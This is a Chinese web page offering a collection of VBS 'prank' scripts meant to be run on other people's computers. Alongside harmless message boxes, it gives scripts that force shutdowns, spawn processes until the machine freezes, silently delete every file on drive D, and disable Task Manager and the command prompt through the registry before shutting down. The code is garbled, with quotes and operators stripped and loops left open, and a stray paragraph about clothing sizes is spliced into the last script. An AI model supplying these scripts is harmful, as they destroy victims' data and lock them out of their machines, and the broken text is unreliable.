vbs整人代码大全|VBS恶作剧脚本-浩宇文化

当前所在位置: 主页 > 电脑 >

vbs整人代码大全|VBS恶作剧脚本-浩宇文化

发布时间：2023-08-07 11:19 作者：[db:作者] 点击：【字体：大中小】

VBS是是：Microsoft Visual Basic Script Edition。（微软公司可视化BASIC脚本版），在平时我们可以利用VBS做很多事情，当然了要熟悉VBS代码自己制作还是挺难的，不过对于使用现成的VBS代码制作VBS文件还是很简单的，很多朋友想要一些VBS整人代码，下面小编就整理了一些。
注意：一些VBS整人代码会引起不适，并且部分代码有高危害性，会删除电脑文件的一定要慎用！
VBS制作方法
1、在记事本中粘贴VBS代码；
2、另存为VBS文件，双击即可运行。

VBS整人代码大全：
一、做我女朋友吗，告白（抖音里很火的）无危害
msgbox( 做我女朋友可以吗？ )
msgbox( 房产证上写你名 )
msgbox( 保大 )
msgbox( 我妈会游泳 )
m = MsgBox( 做我女朋友好吗? ,vbOKCancel)
If m = vbOK Then Msgbox( 爱你么么哒 )
If m = vbCancel Then MsgBox 不喜欢你了 , vbCritical

二、无限弹出，点确定继续弹出，把www.winwin7.com 改成你要文字。

msgbox www.winwin7.com

loop

三、打开无数个计算器，直到死机（把calc改成别的程序也可以）

set wsh=createobject( wscript.shell )

wsh.run calc

loop

四、直接关机（慎用）

dim WSHshell

set WSHshell = wscript.createobject( wscript.shell )

WSHshell.run shutdown -f -s -t 00 ,0 ,true

五、删除D:\所有文件（强烈建议不要用，删除重要文件无法恢复可能会负法律责任）

dim WSHshell

set WSHshell = wscript.createobject( wscript.shell )

WSHshell.run cmd /c del d:\*.* / f /q /s ,0 ,true

六、不断弹出窗口

while(1)

msgbox 哈哈你被耍了！

loop

七、不断按下alt+f4 （打开什么就关闭什么）

dim WSHshell

set WSHshell = wscript.createobject( wscript.shell )

while(1)

WSHshell.SendKeys %{F4}

loop

八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

dim s

do until s=500

s=s+1

msgbox 哥们，给我按500次回车吧 ,64

loop

九、关不掉的窗口

WScript.Echo( 嘿，谢谢你打开我哦，我等你很久拉！ TSName)

WScript.Echo( 你是可爱的小朋吗? )

WScript.Echo( 哈,我想你拉，这你都不知道吗？ )

WScript.Echo( 怎么才来，说~是不是不关心我 )

WScript.Echo( 哼,我生气拉，等你这么久，心都凉啦。 )

WScript.Echo( 小强很生气，后果很严重哦。 )

WScript.Echo( 嘿嘿！你也会很惨滴哦 )

WScript.Echo( 是不是想清除我？ )

WScript.Echo( 那你要点上50下哦，不过会给你惊喜滴 )

WScript.Echo( 还剩49下，快点点哦 )

WScript.Echo( 还剩48下，快点，小笨蛋！ )

WScript.Echo( 还剩47下对，就这样快点点！ )

WScript.Echo( 还剩46下。你啊就是笨，要快哦，我先不打扰你工作。 )

WScript.Echo( 还剩45下，记得要快哦！ )

WScript.Echo( 还剩43下 )

WScript.Echo( 还剩42下 )

WScript.Echo( 还剩41下 )

WScript.Echo( 还剩40下 )

WScript.Echo( 还剩39下 )

WScript.Echo( 还剩38下 )

WScript.Echo( 还剩37下 )

WScript.Echo( 还剩36下 )

WScript.Echo( 还剩35下 )

WScript.Echo( 还剩34下 )

WScript.Echo( 还剩33下 )

WScript.Echo( 还剩32下 )

WScript.Echo( 还剩30下 )

WScript.Echo( 还剩29下 )

WScript.Echo( 还剩28下 )

WScript.Echo( 还剩27下 )

WScript.Echo( 还剩26下 )

WScript.Echo( 还剩25下 )

WScript.Echo( 还剩24下 )

WScript.Echo( 还剩23下 )

WScript.Echo( 还剩22下 )

WScript.Echo( 还剩21下 )

WScript.Echo( 还剩20下 )

WScript.Echo( 还剩19下 )

WScript.Echo( 还剩18下 )

WScript.Echo( 还剩17下 )

WScript.Echo( 还剩16下 )

WScript.Echo( 还剩15下 )

WScript.Echo( 还剩14下 )

WScript.Echo( 还剩13下停停！！！慢点，我有话要说 )

WScript.Echo( 还剩12下，你继续点我就会消失滴 )

WScript.Echo( 还剩11下，以后就看不到我拉。555555 )

WScript.Echo( 还剩10下，你现在可以选择停止！ )

WScript.Echo( 还剩9下。你还点啊，不要我拉？ )

WScript.Echo( 还剩8下，有点伤心拉，干嘛丢弃人家 )

WScript.Echo( 还剩7下。疯了，你有点负意！ )

WScript.Echo( 还剩6下。对。你就点吧，我恨你！ )

WScript.Echo( 还剩5下，不明白，删除我你就好吗？ )

WScript.Echo( 还剩4下！真要删除我？ )

WScript.Echo( 还剩3下。可是我真的很眷恋你。。。 )

WScript.Echo( 还剩2下。不要这么绝情嘛，人家是爱你的！ )

WScript.Echo( 还剩1下。哼，既然你这么绝情。也别怪我无义！！！ )

WScript.Echo( 我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。 )

WScript.Echo( 想结素我么?那你就再多点一次 )

十、输入指定文字解除，否则关机

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject( wscript.shell )

WSHshellA.run cmd.exe /c shutdown -r -t 180 -c 说我是猪，不说我是猪就一分钟关机，不信，试下 ,0 ,true

dim a

do while(a 我是猪 )

a = inputbox ( 说我是猪,就不关机，快撒，说我是猪 , 说不说 , ,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0, MsgBox

loop

msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛

dim WSHshell

set WSHshell = wscript.createobject( wscript.shell )

WSHshell.run cmd.exe /c shutdown -a ,0 ,true

msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，好乖

十一、还是需要输入我是猪，不然关机

set ws=createobject( wscript.shell )

call shutdown(1)

do while a 我是猪

a=inputbox( 快在下面的框框里输入我是猪,否则后果自负，快输我是猪 , 输不输 , )

loop

call shutdown(2)

msgbox 早说就行了嘛 ,4096+64

msgbox 再输一遍我是猪! ,4096+64

msgbox 我是猪! ,4096+64

MsgBox 最后一次! ,4096+64

MsgBox 如果你很快的点过去,不看的话 ,4096+64

MsgBox 我就要你踩我空间的!哼! ,4096+64

MsgBox 从前有座山! ,4096+64

MsgBox 山里有个庙. ,4096+64

MsgBox 庙里有个老和尚在讲故事. ,4096+64

ws.run iexplore.exe http://www.winwin7.com

msgbox 哎呀累了！数绵羊哄我睡觉 ,4096+64

for i=1 to 100

MsgBox i 只绵羊 ,4096+64

msgbox 哎呀我困了，这次就饶过你吧，下次注意哦! ,4096+64

msgbox 最后问个问题，我是不是大好人！ ,4096+64

if inputbox( 是不是 , 请选择 , 是 ) 是 then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run cmd.exe /c shutdown -r -t 60 -c ,0

case 2

ws.run cmd.exe /c shutdown -a ,0

end select

end sub

十二、输入我是猪结束运行，否则

如果别人不输我是猪的话就会一直点下去点到你设定的数字

for i=1 to 100

从1到100

可以改成 20 其他的数字

解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe

复制代码代码如下:

set s=createobject( wscript.shell )

set bag=getobject( winmgmts:\\.\root\cimv2 )

set pipe=bag.execquery( select * from win32_process where name= wscript.exe )

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname) 0 and pipe.count =2 then

s.regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr ,0, REG_DWORD

s.regwrite HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD ,0, REG_DWORD

id.terminate()

else

s.regwrite HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr ,1, REG_DWORD

s.regwrite HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD ,1, REG_DWORD

for i=1 to 60

s.popup 系统将在 60-i 秒后关机... ,1, 系统提示 ,4096+48

Set colOS = GetObject( winmgmts:{(Shutdown)} ).ExecQuery( Select * FROM Win32_OperatingSystem )

For Each eOs In colOS

eOs.Win32Shutdown(2)

end if

十三、

1：开机就强制自动关机

2：cmd命令打不开

3：结束任务不管用

4：F8安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，

PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject( wscript.shell )

WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试 ,0 ,true

dim a

do while(a 宝宝，我是天下第一大傻B )

a = inputbox ( 宝宝，我是天下第一大傻B,就不关机，快撒，说宝宝，我是天下第一大傻B , 说不说 , 不说 ,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0, MsgBox

loop

msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛，乖乖

dim WSHshell

set WSHshell = wscript.createobject( wscript.shell )

WSHshell.run cmd.exe /c shutdown -a ,0 ,true

(xl码适合多高体重多重的人？男士XL码适合人群∶身高范围:175-180cm;体重范围:65-75公斤;如果是标准身材，建议身高175cm，体重70公斤的人穿比较合身。女士XL码适合人群∶身高范围:164-167cm ;体重范围:56-62公斤;如果是标准身材，建议身高165cm，体重55公斤的人穿比较合身。)msgbox chr(13) + chr(13) + chr(13) + 宝宝是不是又帅啦？？

以上就是这次小编给大家分享的VBS整人代码大全了，还是老话，有危害的轻易不要使用。

阅读全文